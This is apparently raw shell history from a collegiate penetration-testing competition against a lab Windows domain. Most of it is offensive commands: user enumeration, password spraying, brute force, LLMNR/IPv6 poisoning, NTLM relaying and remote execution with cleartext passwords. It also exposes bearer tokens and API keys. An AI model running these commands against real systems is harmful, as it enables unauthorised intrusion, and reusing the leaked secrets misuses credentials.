  -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJydENNandDSkhBZ1dNMGFHSHQ0V0QzMWlFalJLRFREUS0zNWpnbEw1SHlVIn0.eyJleHAiOjE3Njc5OTA3MjUsImlhdCI6MTc2Nzk5MDY2NSwiYXV0aF90aW1lIjoxNzY3OTkwNjY0LCJqdGkiOiJiMTg2M2ZjYi02ODhkLTQ2MTItYjRkMy02ZDE1MmRhN2M4NWUiLCJpc3MiOiJodHRwOi8vMTAuMC4xLjEzOjgxODAvcmVhbG1zL21hc3RlciIsInN1YiI6ImFkNTMyMzNkLTk4N2EtNGFhNC1iZWQ3LTJhMGQ0NGI0ZmYxYSIsInR5cCI6IkJlYXJlciIsImF6cCI6InNlY3VyaXR5LWFkbWluLWNvbnNvbGUiLCJub25jZSI6ImNmNzgzMTFmLTA4MTQtNGIxNC04MzZjLWVjMGIxMjMxYzJhZSIsInNlc3Npb25fc3RhdGUiOiIwNTYzNTZiMC01NjQzLTQ4OTgtOTVjMi01Njc5ZTFiOWM5MjYiLCJhY3IiOiIxIiwiYWxsb3dlZC1vcmlnaW5zIjpbImh0dHA6Ly8xMC4wLjEuMTM6ODE4MCJdLCJzY29wZSI6Im9wZW5pZCBwcm9maWxlIGVtYWlsIiwic2lkIjoiMDU2MzU2YjAtNTY0My00ODk4LTk1YzItNTY3OWUxYjljOTI2IiwiZW1haWxfdmVyaWZpZWQiOmZhbHNlLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhZG1pbiJ9.MkgWq1G7PDazbQ8KI9NoyHn_y5MjRQH29V-F7jRbLMc7xUkKybu2is75JbbGw87hfUCOZDMwl7kmj2uICyKXbt7VLwMSbadCZDkyUgvKUsjaUL87ItdbwUl2WVkhy5ZkaRbaUv7L5E7lBrhSuy2WVXXcnzH3s8ZBp5FOQlvkek5FCj8SZA_iWUcAe9TxOrtaGBK4lxYzZr81VBg71_PTWg-0Lk9T7N1Wus6IcfB4oWeZjnFmsDXFBpFUcvTHAK888d4Rkp0Y2JsGVXtjX2WkNJIh3oXWiYnJjkLG5LJTYfaer66HD9Ziwx6ObxgzwSNpJQx1L3knpKdw4Z0eJWVyig' \\
  -H 'Content-Type: application/json' \\
  --data-binary '{\
    "description": "Add documents: Products API key",\
    "actions": ["documents.add"],\
    "indexes": ["products"],\
    "expiresAt": "2042-04-02T00:42:42Z"\
  }'


_raw: : 1767991260:0;apt-get install freerdp-x11


_raw: : 1767991219:0;ffuf -u http://frontend-dev/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt


_raw: : 1767991202:0;nxc rdp 10.0.1.0/24 -u svc_stabilize -p 1gyroscope


_raw: : 1767991178:0;nxc winrm 10.0.1.0/24 -u svc_stabilize -p 1gyroscope


_raw: : 1767991167:0;nxc mssql 10.0.1.0/24 -u svc_stabilize -p 1gyroscope


_raw:
: 1767991150:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M laps\
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M gmsa


_raw: : 1767991134:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M get-desc-users


_raw: : 1767991086:0;mv Jellypwn-main ../claude


_raw: : 1767991083:0;cat username_enumeration.txt | grep VALID


_raw: : 1767991071:0;sudo apt install pkg-config libssl-dev\


_raw: : 1767991061:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local SecLists/Usernames/keyboardspam.txt


_raw: : 1767991043:0;cargo build --release --manifest-path codex-rs/Cargo.toml\


_raw: : 1767991029:0;echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc && source ~/.zshrc


_raw:
: 1767991024:0;# Restart shell or source the environment\
source ~/.cargo/env\
\
# Install latest stable Rust\
rustup install stable\
rustup default stable\


_raw: : 1767991008:0;cloud-init clean --machine-id -l -s


_raw: : 1767991008:0;apt install qemu-guest-agent


_raw: : 1767991008:0;apt install python3-pip python3-venv curl htop


_raw: : 1767991008:0;apt install openssh-server


_raw: : 1767991008:0;sudo apt install dphys-swapfile


_raw: : 1767991008:0;apt install systemd-zram-generator zram-tools


_raw: : 1767991006:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local -u "AGarcia"


_raw: : 1767991002:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1767991001:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local "AGarcia"


_raw: : 1767990987:0;mv 03-infrastructure/* ~/.claude/agents


_raw: : 1767990974:0;mv 09-meta-orchestration/* ~/.claude/agents


_raw: : 1767990971:0;hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt http-get://10.0.1.11:8081 -t 4


_raw:
git clone https://github.com/VoltAgent/awesome-claude-code-subagents.git
ls
clear
cd awesome-claude-code-subagents
ls
cd categories
ls
mkdir -p ~/.claude/agents
mv 04-quality-security/* ~/.claude/agents
ls
clear
ls
cd 09-meta-orchestration
ls
mv * ~/.claude/agents
cd ..
ls
cd 03-infrastructure
ls
mv azure-infra-engineer.md ~/.claude/agents
mv windows-infra-admin.md ~/.claude/agents
mv devops-incident-responder.md ~/.claude/agents
ls
cd ..
ls
cd 05-data-ai
ls
cd ..
ls
clear
cd
clear
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"\
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key3-919f8ad7-488a-43c4-b6aa-bc5e4fb9beaa"
clear
claude
curl -fsSL https://claude.ai/install.sh | bash\
clear
claude
clear
claude


_raw: : 1767990964:0;mv 04-quality-security/* ~/.claude/agents


_raw: : 1767990960:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local SecLists/Usernames/keyboardspam.txt


_raw: : 1767990949:0;cargo build --release --manifest-path codex-rs/Cargo.toml\


_raw: : 1767990945:0;uv tool install git+https://github.com/dirkjanm/mitm6.git --force


_raw: : 1767990925:0;git clone https://github.com/VoltAgent/awesome-claude-code-subagents.git


_raw:
: 1767990919:0;sudo apt remove rustc cargo\
sudo apt install libssl-dev\
\


_raw: : 1767990916:0;sudo mitm6 -d allports.local


_raw: : 1767990915:0;ncrack -vv --user guest -P /usr/share/wordlists/rockyou.txt rdp://10.0.1.6


_raw: : 1767990907:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url http://10.0.1.13:8090/


_raw: : 1767990904:0;sudo mitm6 -d allports.local


_raw: : 1767990880:0;smbclient //10.0.1.6/NETLOGON$ -U "SVC_STABILIZE%1gyroscope"


_raw: : 1767990861:0;smbclient //10.0.1.6/C$ -U "SVC_STABILIZE%1gyroscope"


_raw:
: 1767990861:0;hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \\
      -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt \\
      http-get://10.0.1.11:8081 -t 4


_raw: : 1767990843:0;sudo mitm6 -d allports.local


_raw: : 1767990840:0;sudo responder2 -I eth0 -dwv


_raw: : 1767990838:0;sudo apt install seclists -y


_raw: : 1767990826:0;evil-winrm -i 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope'


_raw:
cd cptc_tools
;s
ls
impacket-smbexec ALLPORTS.LOCAL/aphillips:Sails@way! -dc-ip 10.0.1.6 -target-ip 10.0.1.6
impacket-smbexec ALLPORTS.LOCAL/druiz:Sails@way! -dc-ip 10.0.1.6 -target-ip 10.0.1.6
impacket-GetUserSPNs ALLPORTS.LOCAL/svc_stability -request -dc-ip 10.0.1.6 -outputfile stabilize_ticket.txt -no-pass
ls
nano relay_list.txt
;s
ls
cat relay_list.txt
nmap --script smb-security-mode.nse,smb2-security-mode-nse -p 445 10.0.1.6
nmap --script smb-security-mode.nse,smb2-security-mode.nse -p 445 10.0.1.6
nmap --script smb-security-mode.nse,smb2-security-mode.nse -p 445 10.0.1.20
nmap --script smb-security-mode.nse,smb2-security-mode.nse -p 445 10.0.1.21
nmap -vv -oA 21Scan -A -T2 10.0.1.21 -p-
nmap -vv -oA 21Scan -A -T2 10.0.1.21
nmap -vv -oA 6Scan -A -T2 10.0.1.6
ls
cp ~/Downloads/20Scan.nmap .
ls
smbmap -u guest -p guest -H 10.0.1.6 -d ALLPORTS.LOCAL -r
smbmap -u guest -p password -H 10.0.1.6 -d ALLPORTS.LOCAL -r
smbmap -u guest -p guest -H 10.0.1.20 -d ALLPORTS.LOCAL -r
smbmap -u guest -p guest -H 10.0.1.21 -d ALLPORTS.LOCAL -r
smbmap -u guest -p password -H 10.0.1.20 -d ALLPORTS.LOCAL -r
smbmap -u guest -p password -H 10.0.1.21 -d ALLPORTS.LOCAL -r
smbmap -u guest -p guest -H 10.0.1.6 -d ALLPORTS.LOCAL -r
mysql -h
mysql -help
mysql -h 10.0.1.99 -p 3306 -u root -p
mysql -h 10.0.1.99 -p 3306 -u root -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.99 -p 3306 -u root -p --ssl-mode=DISABLED
mysql -h 10.0.1.13 -p 3306 -u root -p --skip-ssl-verify-server-cert
cp ~/Downloads/cptc-ai-example.zip .
ls


_raw:
sudo apt update
sudo apt install flameshot
impacket-addcomputer -h
clear
ls
cat password.txt
mkdir screenshots
ls
mv ~/Downloads/kerbrute_linux_amd64 kebrute
ls
mkdir cptc_tools
mv kebrute cptc_tools/kerbrute
cd cptc_tools
ls
chmod +x kerbrute
./kerbrute -h
sudo apt install docker.io docker-compose
wget https://github.com/SpectreOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
mv ~/Downloads/bloodhound-cli-linux-arm64.tar.gz .
ls
tar -xvzf bloodhound-cli-linux-arm64.tar.gz
sudo ./bloodhound-cli install
ls
sudo ./bloodhound-cli install
./bloodhound-cli install
ping 8.8.8.8
sudo ./bloodhound-cli install
ls
./bloodhound-cli install
cd ..
cat p
cat password.txt
nmap --help


_raw:
ls
cd cptc_tools
ls
rm bloodhound-cli
rm bloodhound-cli-linux-arm64.tar.gz
cp ~/Downloads/bloodhound-cli-linux-amd64.tar.gz .
ls
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install


_raw:
ping 10.0.1.6
impacket-GetUserSPNs -h
impacket-smbexec --help
impacket-smbexec ALLPORTS.LOCAL/adiaz11:Sails@way-dc-ip 10.0.1.6 -target-ip 10.0.1.6
impacket-smbexec ALLPORTS.LOCAL/adiaz11:Sails@way -dc-ip 10.0.1.6 -target-ip 10.0.1.6
impacket-smbexec ALLPORTS.LOCAL/adiaz11:Sails@way! -dc-ip 10.0.1.6 -target-ip 10.0.1.6
flameshot


_raw:
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team1-key2-12b7be56-b3d8-43e1-9e9e-f613046d00bd"
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team1-key2-12b7be56-b3d8-43e1-9e9e-f613046d00bd"' >> ~/.bashrc
source ~/.bashrc
nano users.txt
cat users.txt
nxc -t 1 --debug ldap 10.0.1.6 -u users.txt -p Sails@way! --log spraylog.txt
ls
cat spraylog.txt
claude-code version
cd cptc_tools
;s
ls
claude-code
claude


_raw:
cd ..
ls
cat password.txt
ip a
smbclient //10.0.1.6/shares
smbclient //10.0.1.20/shares
smbclient //10.0.1.21/shares
smbclient -h
smbclient -h | grep workgroup
smbclient -W=ALLPORTS.LOCAL //10.0.1.6/shares
smbclient -L //10.0.1.6 -N
smbclient -L \\ALLPORTS.LOCAL -I 10.0.1.6 -N
smbclient -L -N \\\\10.0.1.6\\
smbclient -L \\ALLPORTS.LOCAL -I 10.0.1.6 -N
smbclient \\ALLPORTS.LOCAL -I 10.0.1.6 -N
smbclient -L \\ALLPORTS.LOCAL -I 10.0.1.6 -N\
smbclient -U ALLPORTS.LOCAL/ 10.0.1.6 -N\
smbclient -L -U ALLPORTS.LOCAL/ 10.0.1.6 -N\
smbclient -L -U ALLPORTS.LOCAL/anonymous%anonymous 10.0.1.6 -N\
smbclient -L -U ALLPORTS.LOCAL/Anonymous%Anonymous 10.0.1.6 -N\
smbclient -L -U ALLPORTS.LOCAL/Anonymous%Anonymous 10.0.1.6\
smbclient -L -U ////ALLPORTS.LOCAL/Anonymous%Anonymous 10.0.1.6\
smbclient -L -U ////ALLPORTS.LOCAL//Anonymous%Anonymous 10.0.1.6\
smbclient -U ////ALLPORTS.LOCAL//Anonymous%Anonymous 10.0.1.6\
smbclient -L -U ////ALLPORTS.LOCAL//Anonymous%Anonymous 10.0.1.6\
smbclient -U //ALLPORTS.LOCAL//Anonymous%Anonymous 10.0.1.6\
smbclient -U ALLPORTS.LOCAL/Anonymous%Anonymous //10.0.1.6/\
smbclient -L -U ALLPORTS.LOCAL/Anonymous%Anonymous //10.0.1.6/\
smbclient  -U ALLPORTS.LOCAL/Anonymous%Anonymous //10.0.1.6/\
impacket-smbexec -h
impacket-smbexec ALLPORTS.LOCAL/Anonymous:Anonymous@10.0.1.6 -dc-ip 10.0.1.6
impacket-smbclient --help
impacket-smbclient ALLPORTS.LOCAL/Anonymous:Anonymous@10.0.1.6 -dc-ip 10.0.1.6
impacket-smbclient ALLPORTS.LOCAL/Anonymous@10.0.1.6 -dc-ip 10.0.1.6


_raw: : 1767990807:0;sudo apt update && sudo ap install seclists -y


_raw: : 1767990804:0;crackmapexec winrm 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope'


_raw: : 1767990781:0;smbmap -H 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope'


_raw: : 1767990766:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1767990764:0;smbmap -H 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' -s


_raw: : 1767990756:0;termshot -scf out.png -- './regreSSHion-checker -list hosts'


_raw:
: 1767990755:0;hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \\
      -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt \\
      http-get://10.0.1.11:8081 -t 4


_raw: : 1767990752:0;uv tool install git+https://github.com/dirkjanm/mitm6.git


_raw: : 1767990740:0;termshot -scf out.png -- './regreSSHion-checker 10.0.1.0/24'


_raw:
: 1767990740:0;curl -k -X 'POST' \\
  'https://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJydENNandDSkhBZ1dNMGFHSHQ0V0QzMWlFalJLRFREUS0zNWpnbEw1SHlVIn0.eyJleHAiOjE3Njc5OTA3MjUsImlhdCI6MTc2Nzk5MDY2NSwiYXV0aF90aW1lIjoxNzY3OTkwNjY0LCJqdGkiOiJiMTg2M2ZjYi02ODhkLTQ2MTItYjRkMy02ZDE1MmRhN2M4NWUiLCJpc3MiOiJodHRwOi8vMTAuMC4xLjEzOjgxODAvcmVhbG1zL21hc3RlciIsInN1YiI6ImFkNTMyMzNkLTk4N2EtNGFhNC1iZWQ3LTJhMGQ0NGI0ZmYxYSIsInR5cCI6IkJlYXJlciIsImF6cCI6InNlY3VyaXR5LWFkbWluLWNvbnNvbGUiLCJub25jZSI6ImNmNzgzMTFmLTA4MTQtNGIxNC04MzZjLWVjMGIxMjMxYzJhZSIsInNlc3Npb25fc3RhdGUiOiIwNTYzNTZiMC01NjQzLTQ4OTgtOTVjMi01Njc5ZTFiOWM5MjYiLCJhY3IiOiIxIiwiYWxsb3dlZC1vcmlnaW5zIjpbImh0dHA6Ly8xMC4wLjEuMTM6ODE4MCJdLCJzY29wZSI6Im9wZW5pZCBwcm9maWxlIGVtYWlsIiwic2lkIjoiMDU2MzU2YjAtNTY0My00ODk4LTk1YzItNTY3OWUxYjljOTI2IiwiZW1haWxfdmVyaWZpZWQiOmZhbHNlLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhZG1pbiJ9.MkgWq1G7PDazbQ8KI9NoyHn_y5MjRQH29V-F7jRbLMc7xUkKybu2is75JbbGw87hfUCOZDMwl7kmj2uICyKXbt7VLwMSbadCZDkyUgvKUsjaUL87ItdbwUl2WVkhy5ZkaRbaUv7L5E7lBrhSuy2WVXXcnzH3s8ZBp5FOQlvkek5FCj8SZA_iWUcAe9TxOrtaGBK4lxYzZr81VBg71_PTWg-0Lk9T7N1Wus6IcfB4oWeZjnFmsDXFBpFUcvTHAK888d4Rkp0Y2JsGVXtjX2WkNJIh3oXWiYnJjkLG5LJTYfaer66HD9Ziwx6ObxgzwSNpJQx1L3knpKdw4Z0eJWVyig' \\
  -d '{\
  "select": ["*"],\
  "table": "system.namespaces",\
  "limit": 1000\
}'


_raw: : 1767990734:0;cat ~/University-of-Central-Florida/ENVCPTC.sh | grep 'uv tool'


_raw: : 1767990733:0;smbmap -H 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' --shares


_raw: : 1767990730:0;cat ~/University-of-Central-Florida/ENVCPTC.sh | grep uv tools


_raw:
: 1767990720:0;[200~curl -k -X 'POST' \\
  'https://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJydENNandDSkhBZ1dNMGFHSHQ0V0QzMWlFalJLRFREUS0zNWpnbEw1SHlVIn0.eyJleHAiOjE3Njc5OTA3MjUsImlhdCI6MTc2Nzk5MDY2NSwiYXV0aF90aW1lIjoxNzY3OTkwNjY0LCJqdGkiOiJiMTg2M2ZjYi02ODhkLTQ2MTItYjRkMy02ZDE1MmRhN2M4NWUiLCJpc3MiOiJodHRwOi8vMTAuMC4xLjEzOjgxODAvcmVhbG1zL21hc3RlciIsInN1YiI6ImFkNTMyMzNkLTk4N2EtNGFhNC1iZWQ3LTJhMGQ0NGI0ZmYxYSIsInR5cCI6IkJlYXJlciIsImF6cCI6InNlY3VyaXR5LWFkbWluLWNvbnNvbGUiLCJub25jZSI6ImNmNzgzMTFmLTA4MTQtNGIxNC04MzZjLWVjMGIxMjMxYzJhZSIsInNlc3Npb25fc3RhdGUiOiIwNTYzNTZiMC01NjQzLTQ4OTgtOTVjMi01Njc5ZTFiOWM5MjYiLCJhY3IiOiIxIiwiYWxsb3dlZC1vcmlnaW5zIjpbImh0dHA6Ly8xMC4wLjEuMTM6ODE4MCJdLCJzY29wZSI6Im9wZW5pZCBwcm9maWxlIGVtYWlsIiwic2lkIjoiMDU2MzU2YjAtNTY0My00ODk4LTk1YzItNTY3OWUxYjljOTI2IiwiZW1haWxfdmVyaWZpZWQiOmZhbHNlLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhZG1pbiJ9.MkgWq1G7PDazbQ8KI9NoyHn_y5MjRQH29V-F7jRbLMc7xUkKybu2is75JbbGw87hfUCOZDMwl7kmj2uICyKXbt7VLwMSbadCZDkyUgvKUsjaUL87ItdbwUl2WVkhy5ZkaRbaUv7L5E7lBrhSuy2WVXXcnzH3s8ZBp5FOQlvkek5FCj8SZA_iWUcAe9TxOrtaGBK4lxYzZr81VBg71_PTWg-0Lk9T7N1Wus6IcfB4oWeZjnFmsDXFBpFUcvTHAK888d4Rkp0Y2JsGVXtjX2WkNJIh3oXWiYnJjkLG5LJTYfaer66HD9Ziwx6ObxgzwSNpJQx1L3knpKdw4Z0eJWVyig' \\
  -d '{\
  "select": ["*"],\
  "table": "system.namespaces",\
  "limit": 1000\
}'


_raw: : 1767990656:0;crackmapexec smb 10.0.1.0/24 -u SVC_STABILIZE -p '1gyroscope'


_raw: : 1767990646:0;gobuster dns --domain allports.tours --wordlist /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt


_raw: : 1767990639:0;gobuster dns --doman allports.tours --wordlist /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt


_raw: : 1767990638:0;./regreSSHion-checker -list hosts


_raw:
: 1767990618:0;curl -X 'GET' \\
  'http://gps.allports.tours:8080/api/download_csv.php?file=navigation_log_2024-01-01.csv' \\
  -H 'accept: text/csv' \\
  -H 'Authorization: Bearer eeyJleHAiOjE3NjgwMjYxMjAsImlhdCI6MTc2Nzk5MDEyMCwianRpIjoiNzY3OGE3NTUtZTZlMi00ZDA5LTg4ZmYtOTJhZGMyZTQ2MDM0IiwiaXNzIjoiaHR0cDovLzEwLjAuMS4xMzo4MTgwL3JlYWxtcy9tYXN0ZXIiLCJzdWIiOiJhZDUzMjMzZC05ODdhLTRhYTQtYmVkNy0yYTBkNDRiNGZmMWEiLCJ0eXAiOiJTZXJpYWxpemVkLUlEIiwic2Vzc2lvbl9zdGF0ZSI6IjU5MTJmMDcwLTBhZTAtNDI1Ni04YjRiLTBmNmVjMjU4OTQ5ZSIsInNpZCI6IjU5MTJmMDcwLTBhZTAtNDI1Ni04YjRiLTBmNmVjMjU4OTQ5ZSIsInN0YXRlX2NoZWNrZXIiOiJhd3ZjT1hFbllDVUFXM2t0UXh0NWc2U0FrZXRfVlRrV1NnU1hZMXFoREQ4In0'


_raw: : 1767990612:0;zip MyJellyfinPlugin.zip MyJellyfinPlugin.dll


_raw:
git clone https://github.com/nationalcptc-teamtools/university-of-florida.git
cd university-of-florida
cd cptc2026-tools/setup
chmod 777 all.sh
./all.sh
passwd
./all.sh
chmod 777 windows.sh
./windows.sh
ip a
clear
sudo nmap -p- -Pn -sC -sV -O -oX 10.0.1.6 .xml 10.0.1.6
sudo nmap -p- -Pn -sC -sV -O -oX 10.0.1.6.xml 10.0.1.6
\
ls
sudo reponder -I eth0
sudo responder -I eth0
alid after:  2036-01-05T22:35:05\
| tls-alpn: \
|_  http/1.1\
|_ssl-date: TLS randomness does not represent time\
|_http-server-header: Microsoft-HTTPAPI/2.0\
|_http-title: Not Found\
9389/tcp  open  mc-nmf        .NET Message Framing\
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\
|_http-server-header: Microsoft-HTTPAPI/2.0\
|_http-title: Not Found\
49297/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\
49298/tcp open  msrpc         Microsoft Windows RPC\
49303/tcp open  msrpc         Microsoft Windows RPC\
49310/tcp open  msrpc         Microsoft Windows RPC\
49315/tcp open  msrpc         Microsoft Windows RPC\
49664/tcp open  msrpc         Microsoft Windows RPC\
49665/tcp open  msrpc         Microsoft Windows RPC\
49666/tcp open  msrpc         Microsoft Windows RPC\
49667/tcp open  msrpc         Microsoft Windows RPC\
49668/tcp open  msrpc         Microsoft Windows RPC\
49670/tcp open  msrpc         Microsoft Windows RPC\
49673/tcp open  msrpc         Microsoft Windows RPC\
57657/tcp open  msrpc         Microsoft Windows RPC\
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).\
TCP/IP fingerprint:\
OS:SCAN(V=7.95%E=4%D=1/9%OT=53%CT=1%CU=39933%PV=Y%DS=2%DC=I%G=Y%TM=69611C9B\
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=105%TI=I%CI=I%TS=A)SEQ(SP=10\
OS:4%GCD=1%ISR=10C%TI=I%CI=I%TS=A)SEQ(SP=105%GCD=2%ISR=10A%TI=I%CI=I%TS=A)S\
OS:EQ(SP=106%GCD=1%ISR=10B%CI=I%TS=A)SEQ(SP=106%GCD=1%ISR=10D%TI=I%CI=I%TS=\
OS:A)OPS(O1=M5B4NW8ST11%O2=M5B4NW8ST11%O3=M5B4NW8NNT11%O4=M5B4NW8ST11%O5=M5\
OS:B4NW8ST11%O6=M5B4ST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFD\
OS:C)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S\
OS:+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=\
OS:)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%\
OS:A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIP\
OS:CK=G%RUCK=G%RUD=G)IE(R=N)\
\
Network Distance: 2 hops\
Service Info: Host: APT-DC-01; OS: Windows; CPE: cpe:/o:microsoft:windows\
\
Host script results:\
| smb2-security-mode: \
|   3:1:1: \
|_    Message signing enabled and required\
| smb2-time: \


_raw:
: 1767990601:0;curl -X 'GET' \\
  'http://gps.allports.tours:8080/api/download_csv.php?file=navigation_log_2024-01-01.csv' \\
  -H 'accept: text/csv' \\
  -H 'authorization: Bearer eeyJleHAiOjE3NjgwMjYxMjAsImlhdCI6MTc2Nzk5MDEyMCwianRpIjoiNzY3OGE3NTUtZTZlMi00ZDA5LTg4ZmYtOTJhZGMyZTQ2MDM0IiwiaXNzIjoiaHR0cDovLzEwLjAuMS4xMzo4MTgwL3JlYWxtcy9tYXN0ZXIiLCJzdWIiOiJhZDUzMjMzZC05ODdhLTRhYTQtYmVkNy0yYTBkNDRiNGZmMWEiLCJ0eXAiOiJTZXJpYWxpemVkLUlEIiwic2Vzc2lvbl9zdGF0ZSI6IjU5MTJmMDcwLTBhZTAtNDI1Ni04YjRiLTBmNmVjMjU4OTQ5ZSIsInNpZCI6IjU5MTJmMDcwLTBhZTAtNDI1Ni04YjRiLTBmNmVjMjU4OTQ5ZSIsInN0YXRlX2NoZWNrZXIiOiJhd3ZjT1hFbllDVUFXM2t0UXh0NWc2U0FrZXRfVlRrV1NnU1hZMXFoREQ4In0'


_raw: : 1767990571:0;adidnsdump -u 'allports.local\guest' 10.0.1.6


_raw: : 1767990570:0;ffuf -u http://10.0.1.30:8096/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt


_raw: : 1767990496:0;sudo impacket-ntlmrelayx -smb2support -t smb://10.0.1.20 -c 'whoami /all' -debug


_raw: : 1767990464:0;sudo systemctl start ssh.service


_raw: : 1767990464:0;sudo systemctl start sshd.service


_raw: : 1767990464:0;sudo systemctl start sshd


_raw: : 1767990464:0;sudo systemctl start openssh-server


_raw: : 1767990464:0;sudo apt install openssh-server


_raw: : 1767990464:0;sudo ./bloodhound-cli install


_raw: : 1767990464:0;sudo apt install docker-compose


_raw: : 1767990464:0;sudo apt install docker-compose-plugin


_raw: : 1767990464:0;sudo systemctl start docker


_raw: : 1767990464:0;sudo systemctl status docker


_raw: : 1767990464:0;sudo systemctl enable docker


_raw: : 1767990464:0;sudo apt install -y docker.io


_raw: : 1767990464:0;tar -xvzf bloodhound-cli-linux-amd64.tar.gz


_raw: : 1767990401:0;python3 autoWin.py 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' -d allports.local -bloodhound